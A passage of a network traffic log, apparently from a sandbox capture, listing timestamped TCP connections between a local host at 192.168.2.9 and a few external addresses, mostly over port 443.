Jan 2, 2025 20:30:06.841243982 CET	50125	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:06.841382980 CET	50126	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:06.841415882 CET	443	50126	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:06.841464996 CET	50126	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:06.841813087 CET	50125	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:06.841829062 CET	443	50125	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:06.841945887 CET	50126	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:06.841959953 CET	443	50126	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:07.480103016 CET	80	49797	69.42.215.252	192.168.2.9
Jan 2, 2025 20:30:07.480206966 CET	49797	80	192.168.2.9	69.42.215.252
Jan 2, 2025 20:30:07.531413078 CET	443	50124	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:07.531474113 CET	50124	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.532109976 CET	50124	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.532119036 CET	443	50124	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:07.532308102 CET	50124	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.532313108 CET	443	50124	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:07.550611019 CET	443	50123	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:07.550702095 CET	50123	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:07.554306030 CET	50123	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:07.554313898 CET	443	50123	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:07.554555893 CET	443	50123	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:07.554620981 CET	50123	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:07.554997921 CET	50123	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:07.562602043 CET	443	50125	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:07.562715054 CET	50125	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.563112020 CET	50125	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.563127041 CET	443	50125	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:07.563287020 CET	50125	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.563298941 CET	443	50125	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:07.578448057 CET	443	50126	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:07.578526974 CET	50126	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:07.580877066 CET	50126	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:07.580888987 CET	443	50126	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:07.587064028 CET	443	50126	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:07.587121010 CET	50126	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:07.587627888 CET	50126	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:07.599324942 CET	443	50123	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:07.635325909 CET	443	50126	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:07.923343897 CET	443	50124	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:07.923402071 CET	50124	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.923434019 CET	443	50124	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:07.923468113 CET	50124	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.923549891 CET	50124	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.923718929 CET	443	50124	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:07.923774958 CET	443	50124	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:07.923790932 CET	50124	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.923819065 CET	50124	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.924190998 CET	50133	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.924220085 CET	443	50133	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:07.924320936 CET	50133	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.924525023 CET	50133	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.924540997 CET	443	50133	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:07.952265978 CET	443	50125	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:07.952325106 CET	50125	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.952498913 CET	50125	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.952528954 CET	443	50125	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:07.952610970 CET	50125	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.953053951 CET	50134	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.953098059 CET	443	50134	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:07.953170061 CET	50134	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.953434944 CET	50134	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:07.953458071 CET	443	50134	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:08.074526072 CET	443	50123	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.074564934 CET	443	50123	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.074587107 CET	50123	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.074601889 CET	443	50123	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.074610949 CET	50123	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.074647903 CET	50123	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.074661970 CET	443	50123	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.074736118 CET	50123	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.074739933 CET	443	50123	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.074783087 CET	443	50123	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.074822903 CET	50123	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.075844049 CET	50123	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.075858116 CET	443	50123	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.076356888 CET	50135	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.076401949 CET	443	50135	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.076461077 CET	50135	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.076683044 CET	50135	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.076694965 CET	443	50135	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.094069004 CET	443	50126	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.094130039 CET	443	50126	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.094156981 CET	50126	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.094176054 CET	443	50126	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.094192028 CET	50126	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.094211102 CET	50126	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.094368935 CET	443	50126	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.094408989 CET	50126	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.094422102 CET	443	50126	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.094671011 CET	50126	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.095206976 CET	50126	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.095225096 CET	443	50126	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.095237970 CET	50126	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.095357895 CET	50126	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.095962048 CET	50136	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.096004009 CET	443	50136	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.096303940 CET	50136	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.096560955 CET	50136	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.096575022 CET	443	50136	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.572227955 CET	443	50133	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:08.572292089 CET	50133	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:08.573523998 CET	443	50133	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:08.573575020 CET	50133	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:08.577224970 CET	50133	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:08.577239037 CET	443	50133	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:08.577521086 CET	443	50133	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:08.577569962 CET	50133	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:08.577982903 CET	50133	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:08.619330883 CET	443	50133	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:08.721801043 CET	443	50134	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:08.721956968 CET	50134	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:08.722378016 CET	443	50135	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.722482920 CET	50135	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.722549915 CET	443	50134	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:08.722634077 CET	50134	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:08.725454092 CET	443	50136	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.725508928 CET	50136	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.739496946 CET	50134	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:08.739515066 CET	443	50134	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:08.739824057 CET	443	50134	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:08.739978075 CET	50134	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:08.741092920 CET	50134	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:08.741545916 CET	50135	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.741559982 CET	443	50135	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.741697073 CET	50135	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.741703987 CET	443	50135	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.742257118 CET	50136	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.742274046 CET	443	50136	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.742436886 CET	50136	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:08.742439985 CET	443	50136	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:08.783323050 CET	443	50134	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.058520079 CET	443	50133	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.058645010 CET	50133	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.058659077 CET	443	50133	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.058697939 CET	50133	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.059129953 CET	443	50133	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.059178114 CET	443	50133	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.060672045 CET	50133	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.104113102 CET	50133	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.104139090 CET	443	50133	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.105350971 CET	50139	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.105391026 CET	443	50139	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.105648041 CET	50139	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.107402086 CET	50139	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.107424021 CET	443	50139	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.110184908 CET	443	50134	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.110414028 CET	50134	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.110438108 CET	443	50134	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.110529900 CET	50134	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.110534906 CET	443	50134	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.110553026 CET	443	50134	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.110788107 CET	50134	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.110788107 CET	50134	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.144380093 CET	443	50135	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:09.144418955 CET	443	50135	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:09.144447088 CET	50135	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.144474030 CET	443	50135	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:09.144490957 CET	50135	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.144520998 CET	50135	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.144526958 CET	443	50135	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:09.144546032 CET	443	50135	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:09.144570112 CET	50135	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.144584894 CET	50135	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.168497086 CET	50134	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.168548107 CET	443	50134	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.169431925 CET	50140	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.169462919 CET	443	50140	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.169802904 CET	50140	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.170037985 CET	50140	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.170051098 CET	443	50140	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.171339035 CET	50135	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.171348095 CET	443	50135	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:09.172262907 CET	50141	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.172305107 CET	443	50141	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:09.173295021 CET	50141	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.175719976 CET	50141	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.175739050 CET	443	50141	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:09.300308943 CET	443	50136	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:09.300363064 CET	50136	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.300389051 CET	443	50136	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:09.300436020 CET	50136	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.300441027 CET	443	50136	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:09.300510883 CET	50136	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.300514936 CET	443	50136	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:09.300523996 CET	443	50136	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:09.300560951 CET	50136	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.301179886 CET	50136	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.301192999 CET	443	50136	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:09.301786900 CET	50142	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.301824093 CET	443	50142	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:09.301882029 CET	50142	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.302253962 CET	50142	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.302262068 CET	443	50142	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:09.753329039 CET	443	50139	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.753392935 CET	50139	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.753943920 CET	50139	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.753952026 CET	443	50139	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.754134893 CET	50139	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.754143000 CET	443	50139	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.808696985 CET	443	50141	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:09.808763981 CET	50141	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.809298992 CET	50140	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.809336901 CET	50141	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.809376955 CET	443	50141	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:09.809453964 CET	50141	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.809465885 CET	50142	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:09.813153028 CET	50143	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.813205004 CET	443	50143	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:09.813283920 CET	50143	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.815541029 CET	50143	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:09.815557957 CET	443	50143	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.264238119 CET	443	50139	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.264295101 CET	50139	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.264507055 CET	50139	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.264563084 CET	443	50139	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.264607906 CET	443	50139	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.264614105 CET	50139	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.264672995 CET	50139	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.265558958 CET	50144	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:10.265588045 CET	443	50144	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:10.265676975 CET	50144	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:10.265758038 CET	50145	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.265793085 CET	443	50145	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.265849113 CET	50145	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.266268969 CET	50144	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:10.266290903 CET	443	50144	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:10.266645908 CET	50145	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.266659021 CET	443	50145	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.492233038 CET	443	50143	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.492305994 CET	50143	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.493015051 CET	443	50143	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.493067980 CET	50143	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.500956059 CET	50143	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.500974894 CET	443	50143	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.501233101 CET	443	50143	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.501291037 CET	50143	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.501925945 CET	50143	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.547327042 CET	443	50143	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.895194054 CET	443	50143	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.895255089 CET	50143	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.895282984 CET	443	50143	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.895298958 CET	443	50143	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.895334005 CET	50143	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.895363092 CET	50143	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.896545887 CET	50143	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.896570921 CET	443	50143	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.897505045 CET	50147	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:10.897545099 CET	443	50147	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:10.897695065 CET	50147	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:10.897813082 CET	50148	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.897850037 CET	443	50148	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.897947073 CET	50148	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.898118019 CET	50148	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.898130894 CET	443	50148	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.898451090 CET	50147	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:10.898474932 CET	443	50147	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:10.924242020 CET	443	50144	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:10.924324036 CET	50144	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:10.928385019 CET	50144	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:10.928395033 CET	443	50144	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:10.928692102 CET	443	50144	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:10.928752899 CET	50144	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:10.929195881 CET	50144	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:10.932035923 CET	443	50145	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.932109118 CET	50145	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.932770967 CET	443	50145	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.932831049 CET	50145	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.934505939 CET	50145	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.934515953 CET	443	50145	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.934762001 CET	443	50145	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:10.934813976 CET	50145	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.935204029 CET	50145	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:10.975328922 CET	443	50144	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:10.979330063 CET	443	50145	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:11.349436045 CET	443	50144	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:11.349479914 CET	443	50144	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:11.349526882 CET	50144	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:11.349526882 CET	50144	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:11.349555969 CET	443	50144	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:11.349611998 CET	50144	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:11.350541115 CET	50144	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:11.350579023 CET	443	50144	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:11.350671053 CET	50144	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:11.406188011 CET	443	50145	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:11.406281948 CET	50145	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:11.406301022 CET	443	50145	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:11.406389952 CET	50145	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:11.406500101 CET	443	50145	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:11.406543016 CET	443	50145	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:11.406584978 CET	50145	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:11.420977116 CET	50145	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:11.420998096 CET	443	50145	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:11.421830893 CET	50149	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:11.421865940 CET	443	50149	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:11.421991110 CET	50149	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:11.422221899 CET	50150	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:11.422250986 CET	443	50150	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:11.422540903 CET	50150	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:11.422878981 CET	50149	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:11.422893047 CET	443	50149	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:11.423273087 CET	50150	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:11.423288107 CET	443	50150	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:11.543766975 CET	443	50147	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:11.543839931 CET	443	50148	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:11.544014931 CET	50147	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:11.544019938 CET	50148	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:11.546621084 CET	50147	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:11.546633005 CET	443	50147	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:11.546899080 CET	443	50147	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:11.546977043 CET	50147	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:11.547152042 CET	50148	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:11.547158957 CET	443	50148	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:11.547343969 CET	50148	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:11.547349930 CET	443	50148	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:11.547858953 CET	50147	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:11.595321894 CET	443	50147	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:11.941818953 CET	443	50148	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:11.942003012 CET	443	50148	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:11.942158937 CET	50148	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:11.983864069 CET	443	50147	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:11.983902931 CET	443	50147	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:11.983983994 CET	50147	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:11.983999014 CET	443	50147	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:11.984741926 CET	443	50147	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:11.985008001 CET	50147	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:11.986041069 CET	50148	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:11.986068010 CET	443	50148	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:11.986795902 CET	50151	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:11.986829996 CET	443	50151	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:11.986879110 CET	50151	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:11.997621059 CET	50151	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:11.997633934 CET	443	50151	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:12.005971909 CET	50147	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.005989075 CET	443	50147	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:12.006397009 CET	50154	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.006432056 CET	443	50154	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:12.006530046 CET	50154	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.006782055 CET	50154	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.006793976 CET	443	50154	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:12.065071106 CET	443	50150	172.217.18.14	192.168.2.9
